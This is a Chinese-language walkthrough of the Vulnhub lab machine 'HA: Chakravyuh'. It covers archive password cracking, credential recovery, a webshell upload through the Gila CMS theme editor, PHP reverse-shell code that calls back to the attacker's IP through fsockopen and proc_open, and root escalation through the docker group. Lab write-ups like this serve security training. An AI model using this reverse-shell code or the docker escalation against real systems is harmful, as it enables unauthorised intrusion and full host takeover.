HA: Chakravyuh
Vulnhub靶場
下載地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/
背景:
Close your eyes and feel the heat of being in the middle of the Chakravyuh. The Epic Battle formation that is said to uncrackable. Can you crack the Uncrackable? Does it have it in you? Crack this epic Challenge and Claim the Title of Arjuna of 21st Century.
ENUMERATION IS THE KEY!!!!!
埠掃描
發現ftp中存在arjun.7z
掃描路徑
MySQL資料庫
收集到這些資訊後,猜測Getshell的流程是,通過壓縮包知道資料庫賬號密碼,資料庫拿shell。
所以,先爆破arjun.7z的密碼
Fcrackzip這款軟體前面的靶機用過,挺好的,但不支援7z
Rarcrack這款軟體可以爆破7z,但不能跑字典,遍歷太久不現實。
rarcrack arjun.7z --threads 10 --type 7z
最後,我用的是PasswareKit,速度還是挺快的,支援GPU加速,
利用軟體本身攜帶的字典將其破解,壓縮包內的txt文字檔案。
密碼是family。
Base64解密:
gila:admin@gmail.com:princesa
不是資料庫的密碼。
看看是不是目錄,前面的gila
http://192.168.139.140/gila/
http://192.168.139.140/gila/admin
在Themes處有模板選擇,點選檔案圖示能編輯模板檔案。
這裡能夠上傳任意檔案,上傳了個馬。
這個馬無法解析,因為shell.ph被URL重寫,將所有的指向index.php處理。
這裡能夠獲取到資料庫的賬號密碼。
進入資料庫。
這裡寫入路徑做了限制,不能直接寫入shell,不過可以利用慢日誌來獲取shell。
同時該cms預設存在phpinfo。一般就是預設的/var/www/html/
但,這裡不通過資料庫Getshell
通過在index.php中寫入反彈shell的程式碼Getshell
$sock=fsockopen("192.168.139.1",3418);exec("/bin/sh -i <&3 >&3 2>&3");
在PHP中執行如上程式碼的話,會把系統的標準輸入輸出重定向到/bin/sh裡,導致php-fpm直接502,然後彈的shell也會瞬間掉了。
當系統沒有禁用proc_popen的情況下,利用下面程式碼反彈shell。
$sock = fsockopen('192.168.139.1',3418);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
成功反彈shell。
python -c "import pty;pty.spawn('/bin/bash');"
獲取互動式shell
查詢提權的點
查詢777許可權檔案
查詢suid的檔案
在檢視id時,發現該使用者處於docker組。
可以利用docker提權,大概過程就是建立一個容器,將本機的檔案載入其中。
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
詳細情況可百度 docker提權。
Cat /root/final.txt